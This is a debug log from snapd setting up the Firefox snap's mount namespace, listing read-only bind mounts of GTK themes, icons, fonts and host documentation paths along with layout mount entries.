logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Adwaita /snap/firefox/4793/data-dir/themes/Adwaita none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Ambiance /snap/firefox/4793/data-dir/themes/Ambiance none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Ambiant-MATE-Dark /snap/firefox/4793/data-dir/themes/Ambiant-MATE-Dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Ambiant-MATE /snap/firefox/4793/data-dir/themes/Ambiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Arc-Dark /snap/firefox/4793/data-dir/themes/Arc-Dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Arc-Darker /snap/firefox/4793/data-dir/themes/Arc-Darker none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Arc /snap/firefox/4793/data-dir/themes/Arc none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Breeze-Dark /snap/firefox/4793/data-dir/themes/Breeze-Dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Breeze /snap/firefox/4793/data-dir/themes/Breeze none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Greybird-dark /snap/firefox/4793/data-dir/themes/Greybird-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Greybird /snap/firefox/4793/data-dir/themes/Greybird none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/HighContrast /snap/firefox/4793/data-dir/themes/HighContrast none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Matcha-aliz /snap/firefox/4793/data-dir/themes/Matcha-aliz none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Matcha-azul /snap/firefox/4793/data-dir/themes/Matcha-azul none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Matcha-dark-aliz /snap/firefox/4793/data-dir/themes/Matcha-dark-aliz none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Matcha-dark-azul /snap/firefox/4793/data-dir/themes/Matcha-dark-azul none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Matcha-dark-sea /snap/firefox/4793/data-dir/themes/Matcha-dark-sea none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Matcha-sea /snap/firefox/4793/data-dir/themes/Matcha-sea none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Materia-compact /snap/firefox/4793/data-dir/themes/Materia-compact none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Materia-dark-compact /snap/firefox/4793/data-dir/themes/Materia-dark-compact none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Materia-dark /snap/firefox/4793/data-dir/themes/Materia-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Materia-light-compact /snap/firefox/4793/data-dir/themes/Materia-light-compact none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Materia-light /snap/firefox/4793/data-dir/themes/Materia-light none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Materia /snap/firefox/4793/data-dir/themes/Materia none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Radiance /snap/firefox/4793/data-dir/themes/Radiance none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Radiant-MATE /snap/firefox/4793/data-dir/themes/Radiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-MATE-dark /snap/firefox/4793/data-dir/themes/Yaru-MATE-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-MATE-light /snap/firefox/4793/data-dir/themes/Yaru-MATE-light none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-bark-dark /snap/firefox/4793/data-dir/themes/Yaru-bark-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-bark /snap/firefox/4793/data-dir/themes/Yaru-bark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-blue-dark /snap/firefox/4793/data-dir/themes/Yaru-blue-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-blue /snap/firefox/4793/data-dir/themes/Yaru-blue none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-dark /snap/firefox/4793/data-dir/themes/Yaru-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-light /snap/firefox/4793/data-dir/themes/Yaru-light none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-magenta-dark /snap/firefox/4793/data-dir/themes/Yaru-magenta-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-magenta /snap/firefox/4793/data-dir/themes/Yaru-magenta none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-mate-dark /snap/firefox/4793/data-dir/themes/Yaru-mate-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-mate /snap/firefox/4793/data-dir/themes/Yaru-mate none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-olive-dark /snap/firefox/4793/data-dir/themes/Yaru-olive-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-olive /snap/firefox/4793/data-dir/themes/Yaru-olive none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen-dark /snap/firefox/4793/data-dir/themes/Yaru-prussiangreen-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen /snap/firefox/4793/data-dir/themes/Yaru-prussiangreen none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-purple-dark /snap/firefox/4793/data-dir/themes/Yaru-purple-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-purple /snap/firefox/4793/data-dir/themes/Yaru-purple none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-red-dark /snap/firefox/4793/data-dir/themes/Yaru-red-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-red /snap/firefox/4793/data-dir/themes/Yaru-red none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-sage-dark /snap/firefox/4793/data-dir/themes/Yaru-sage-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-sage /snap/firefox/4793/data-dir/themes/Yaru-sage none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-viridian-dark /snap/firefox/4793/data-dir/themes/Yaru-viridian-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru-viridian /snap/firefox/4793/data-dir/themes/Yaru-viridian none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Yaru /snap/firefox/4793/data-dir/themes/Yaru none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/elementary /snap/firefox/4793/data-dir/themes/elementary none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gnome-42-2204/176 /snap/firefox/4793/gnome-platform none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/tmp/.X11-unix /tmp/.X11-unix none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/local/share/doc /usr/local/share/doc none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/local/share/fonts /usr/local/share/fonts none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/cups/doc-root /usr/share/cups/doc-root none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/doc /usr/share/doc none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/fonts /usr/share/fonts none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/gimp/2.0/help /usr/share/gimp/2.0/help none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/gtk-doc /usr/share/gtk-doc none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/javascript/jquery /usr/share/javascript/jquery none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/javascript/sphinxdoc /usr/share/javascript/sphinxdoc none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/libreoffice/help /usr/share/libreoffice/help none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/sphinx_rtd_theme /usr/share/sphinx_rtd_theme none bind,ro 0 0
logger.go:93: DEBUG: - /var/lib/snapd/hostfs/usr/share/xubuntu-docs /usr/share/xubuntu-docs none bind,ro 0 0
logger.go:93: DEBUG: - /snap/firefox/4793/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: - /snap/firefox/4793/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.1 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.1 none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: - /snap/firefox/4793/usr/share/alsa /usr/share/alsa none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: - /snap/firefox/4793/gnome-platform/usr/share/libdrm /usr/share/libdrm none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: - /snap/firefox/4793/gnome-platform/usr/share/xml/iso-codes /usr/share/xml/iso-codes none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: reusing rootfs
logger.go:93: DEBUG: desiredIDs: map[/snap/firefox/4793/data-dir/icons/Adwaita:true /snap/firefox/4793/data-dir/icons/Ambiant-MATE:true /snap/firefox/4793/data-dir/icons/Breeze_Snow:true /snap/firefox/4793/data-dir/icons/DMZ-Black:true /snap/firefox/4793/data-dir/icons/DMZ-White:true /snap/firefox/4793/data-dir/icons/HighContrast:true /snap/firefox/4793/data-dir/icons/Humanity:true /snap/firefox/4793/data-dir/icons/Humanity-Dark:true /snap/firefox/4793/data-dir/icons/Papirus-Adapta-Maia:true /snap/firefox/4793/data-dir/icons/Papirus-Adapta-Nokto-Maia:true /snap/firefox/4793/data-dir/icons/Papirus-Dark-Maia:true /snap/firefox/4793/data-dir/icons/Papirus-Light-Maia:true /snap/firefox/4793/data-dir/icons/Papirus-Maia:true /snap/firefox/4793/data-dir/icons/Radiant-MATE:true /snap/firefox/4793/data-dir/icons/Yaru:true /snap/firefox/4793/data-dir/icons/Yaru-MATE-dark:true /snap/firefox/4793/data-dir/icons/Yaru-MATE-light:true /snap/firefox/4793/data-dir/icons/Yaru-bark:true /snap/firefox/4793/data-dir/icons/Yaru-bark-dark:true /snap/firefox/4793/data-dir/icons/Yaru-blue:true /snap/firefox/4793/data-dir/icons/Yaru-blue-dark:true /snap/firefox/4793/data-dir/icons/Yaru-dark:true /snap/firefox/4793/data-dir/icons/Yaru-magenta:true /snap/firefox/4793/data-dir/icons/Yaru-magenta-dark:true /snap/firefox/4793/data-dir/icons/Yaru-mate:true /snap/firefox/4793/data-dir/icons/Yaru-mate-dark:true /snap/firefox/4793/data-dir/icons/Yaru-olive:true /snap/firefox/4793/data-dir/icons/Yaru-olive-dark:true /snap/firefox/4793/data-dir/icons/Yaru-prussiangreen:true /snap/firefox/4793/data-dir/icons/Yaru-prussiangreen-dark:true /snap/firefox/4793/data-dir/icons/Yaru-purple:true /snap/firefox/4793/data-dir/icons/Yaru-purple-dark:true /snap/firefox/4793/data-dir/icons/Yaru-red:true /snap/firefox/4793/data-dir/icons/Yaru-red-dark:true /snap/firefox/4793/data-dir/icons/Yaru-sage:true /snap/firefox/4793/data-dir/icons/Yaru-sage-dark:true /snap/firefox/4793/data-dir/icons/Yaru-viridian:true /snap/firefox/4793/data-dir/icons/Yaru-viridian-dark:true /snap/firefox/4793/data-dir/icons/breeze_cursors:true /snap/firefox/4793/data-dir/icons/default:true /snap/firefox/4793/data-dir/icons/elementary:true /snap/firefox/4793/data-dir/icons/elementary-xfce:true /snap/firefox/4793/data-dir/icons/elementary-xfce-dark:true /snap/firefox/4793/data-dir/icons/elementary-xfce-darker:true /snap/firefox/4793/data-dir/icons/elementary-xfce-darkest:true /snap/firefox/4793/data-dir/icons/handhelds:true /snap/firefox/4793/data-dir/icons/hicolor:true /snap/firefox/4793/data-dir/icons/redglass:true /snap/firefox/4793/data-dir/icons/ubuntu-mono-dark:true /snap/firefox/4793/data-dir/icons/ubuntu-mono-light:true /snap/firefox/4793/data-dir/icons/whiteglass:true /snap/firefox/4793/data-dir/sounds/Yaru:true /snap/firefox/4793/data-dir/sounds/freedesktop:true /snap/firefox/4793/data-dir/themes/Adwaita:true /snap/firefox/4793/data-dir/themes/Adwaita-dark:true /snap/firefox/4793/data-dir/themes/Ambiance:true /snap/firefox/4793/data-dir/themes/Ambiant-MATE:true /snap/firefox/4793/data-dir/themes/Ambiant-MATE-Dark:true /snap/firefox/4793/data-dir/themes/Arc:true /snap/firefox/4793/data-dir/themes/Arc-Dark:true /snap/firefox/4793/data-dir/themes/Arc-Darker:true /snap/firefox/4793/data-dir/themes/Breeze:true /snap/firefox/4793/data-dir/themes/Breeze-Dark:true /snap/firefox/4793/data-dir/themes/Greybird:true /snap/firefox/4793/data-dir/themes/Greybird-dark:true /snap/firefox/4793/data-dir/themes/HighContrast:true /snap/firefox/4793/data-dir/themes/Matcha-aliz:true /snap/firefox/4793/data-dir/themes/Matcha-azul:true /snap/firefox/4793/data-dir/themes/Matcha-dark-aliz:true /snap/firefox/4793/data-dir/themes/Matcha-dark-azul:true /snap/firefox/4793/data-dir/themes/Matcha-dark-sea:true /snap/firefox/4793/data-dir/themes/Matcha-sea:true /snap/firefox/4793/data-dir/themes/Materia:true /snap/firefox/4793/data-dir/themes/Materia-compact:true /snap/firefox/4793/data-dir/themes/Materia-dark:true /snap/firefox/4793/data-dir/themes/Materia-dark-compact:true /snap/firefox/4793/data-dir/themes/Materia-light:true /snap/firefox/4793/data-dir/themes/Materia-light-compact:true /snap/firefox/4793/data-dir/themes/Radiance:true /snap/firefox/4793/data-dir/themes/Radiant-MATE:true /snap/firefox/4793/data-dir/themes/Yaru:true /snap/firefox/4793/data-dir/themes/Yaru-MATE-dark:true /snap/firefox/4793/data-dir/themes/Yaru-MATE-light:true /snap/firefox/4793/data-dir/themes/Yaru-bark:true /snap/firefox/4793/data-dir/themes/Yaru-bark-dark:true /snap/firefox/4793/data-dir/themes/Yaru-blue:true /snap/firefox/4793/data-dir/themes/Yaru-blue-dark:true /snap/firefox/4793/data-dir/themes/Yaru-dark:true /snap/firefox/4793/data-dir/themes/Yaru-light:true /snap/firefox/4793/data-dir/themes/Yaru-magenta:true /snap/firefox/4793/data-dir/themes/Yaru-magenta-dark:true /snap/firefox/4793/data-dir/themes/Yaru-mate:true /snap/firefox/4793/data-dir/themes/Yaru-mate-dark:true /snap/firefox/4793/data-dir/themes/Yaru-olive:true /snap/firefox/4793/data-dir/themes/Yaru-olive-dark:true /snap/firefox/4793/data-dir/themes/Yaru-prussiangreen:true /snap/firefox/4793/data-dir/themes/Yaru-prussiangreen-dark:true /snap/firefox/4793/data-dir/themes/Yaru-purple:true /snap/firefox/4793/data-dir/themes/Yaru-purple-dark:true /snap/firefox/4793/data-dir/themes/Yaru-red:true /snap/firefox/4793/data-dir/themes/Yaru-red-dark:true /snap/firefox/4793/data-dir/themes/Yaru-sage:true /snap/firefox/4793/data-dir/themes/Yaru-sage-dark:true /snap/firefox/4793/data-dir/themes/Yaru-viridian:true /snap/firefox/4793/data-dir/themes/Yaru-viridian-dark:true /snap/firefox/4793/data-dir/themes/elementary:true /snap/firefox/4793/gnome-platform:true /tmp/.X11-unix:true /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0:true /usr/lib/x86_64-linux-gnu/webkit2gtk-4.1:true /usr/local/share/doc:true /usr/local/share/fonts:true /usr/share/alsa:true /usr/share/cups/doc-root:true /usr/share/doc:true /usr/share/fonts:true /usr/share/gimp/2.0/help:true /usr/share/gtk-doc:true /usr/share/javascript/jquery:true /usr/share/javascript/sphinxdoc:true /usr/share/libdrm:true /usr/share/libreoffice/help:true /usr/share/sphinx_rtd_theme:true /usr/share/xml/iso-codes:true /usr/share/xubuntu-docs:true]
logger.go:93: DEBUG: reuse: map[{/ tmpfs}:true]
logger.go:93: DEBUG: processing mount entries
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Adwaita-dark /snap/firefox/4793/data-dir/themes/Adwaita-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Adwaita /snap/firefox/4793/data-dir/themes/Adwaita none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Ambiance /snap/firefox/4793/data-dir/themes/Ambiance none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Ambiant-MATE-Dark /snap/firefox/4793/data-dir/themes/Ambiant-MATE-Dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Ambiant-MATE /snap/firefox/4793/data-dir/themes/Ambiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Arc-Dark /snap/firefox/4793/data-dir/themes/Arc-Dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Arc-Darker /snap/firefox/4793/data-dir/themes/Arc-Darker none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Arc /snap/firefox/4793/data-dir/themes/Arc none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Breeze-Dark /snap/firefox/4793/data-dir/themes/Breeze-Dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Breeze /snap/firefox/4793/data-dir/themes/Breeze none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Greybird-dark /snap/firefox/4793/data-dir/themes/Greybird-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Greybird /snap/firefox/4793/data-dir/themes/Greybird none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/HighContrast /snap/firefox/4793/data-dir/themes/HighContrast none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Matcha-aliz /snap/firefox/4793/data-dir/themes/Matcha-aliz none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Matcha-azul /snap/firefox/4793/data-dir/themes/Matcha-azul none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Matcha-dark-aliz /snap/firefox/4793/data-dir/themes/Matcha-dark-aliz none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Matcha-dark-azul /snap/firefox/4793/data-dir/themes/Matcha-dark-azul none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Matcha-dark-sea /snap/firefox/4793/data-dir/themes/Matcha-dark-sea none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Matcha-sea /snap/firefox/4793/data-dir/themes/Matcha-sea none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Materia-compact /snap/firefox/4793/data-dir/themes/Materia-compact none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Materia-dark-compact /snap/firefox/4793/data-dir/themes/Materia-dark-compact none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Materia-dark /snap/firefox/4793/data-dir/themes/Materia-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Materia-light-compact /snap/firefox/4793/data-dir/themes/Materia-light-compact none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Materia-light /snap/firefox/4793/data-dir/themes/Materia-light none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Materia /snap/firefox/4793/data-dir/themes/Materia none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Radiance /snap/firefox/4793/data-dir/themes/Radiance none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Radiant-MATE /snap/firefox/4793/data-dir/themes/Radiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-MATE-dark /snap/firefox/4793/data-dir/themes/Yaru-MATE-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-MATE-light /snap/firefox/4793/data-dir/themes/Yaru-MATE-light none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-bark-dark /snap/firefox/4793/data-dir/themes/Yaru-bark-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-bark /snap/firefox/4793/data-dir/themes/Yaru-bark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-blue-dark /snap/firefox/4793/data-dir/themes/Yaru-blue-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-blue /snap/firefox/4793/data-dir/themes/Yaru-blue none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-dark /snap/firefox/4793/data-dir/themes/Yaru-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-light /snap/firefox/4793/data-dir/themes/Yaru-light none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-magenta-dark /snap/firefox/4793/data-dir/themes/Yaru-magenta-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-magenta /snap/firefox/4793/data-dir/themes/Yaru-magenta none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-mate-dark /snap/firefox/4793/data-dir/themes/Yaru-mate-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-mate /snap/firefox/4793/data-dir/themes/Yaru-mate none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-olive-dark /snap/firefox/4793/data-dir/themes/Yaru-olive-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-olive /snap/firefox/4793/data-dir/themes/Yaru-olive none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen-dark /snap/firefox/4793/data-dir/themes/Yaru-prussiangreen-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen /snap/firefox/4793/data-dir/themes/Yaru-prussiangreen none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-purple-dark /snap/firefox/4793/data-dir/themes/Yaru-purple-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-purple /snap/firefox/4793/data-dir/themes/Yaru-purple none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-red-dark /snap/firefox/4793/data-dir/themes/Yaru-red-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-red /snap/firefox/4793/data-dir/themes/Yaru-red none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-sage-dark /snap/firefox/4793/data-dir/themes/Yaru-sage-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-sage /snap/firefox/4793/data-dir/themes/Yaru-sage none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-viridian-dark /snap/firefox/4793/data-dir/themes/Yaru-viridian-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru-viridian /snap/firefox/4793/data-dir/themes/Yaru-viridian none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/Yaru /snap/firefox/4793/data-dir/themes/Yaru none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/themes": /snap/gtk-common-themes/1535/share/themes/elementary /snap/firefox/4793/data-dir/themes/elementary none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/tmp": /var/lib/snapd/hostfs/tmp/.X11-unix /tmp/.X11-unix none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/cups/doc-root /usr/share/cups/doc-root none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/gimp/2.0/help /usr/share/gimp/2.0/help none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/libreoffice/help /usr/share/libreoffice/help none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/lib/x86_64-linux-gnu": /snap/firefox/4793/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0
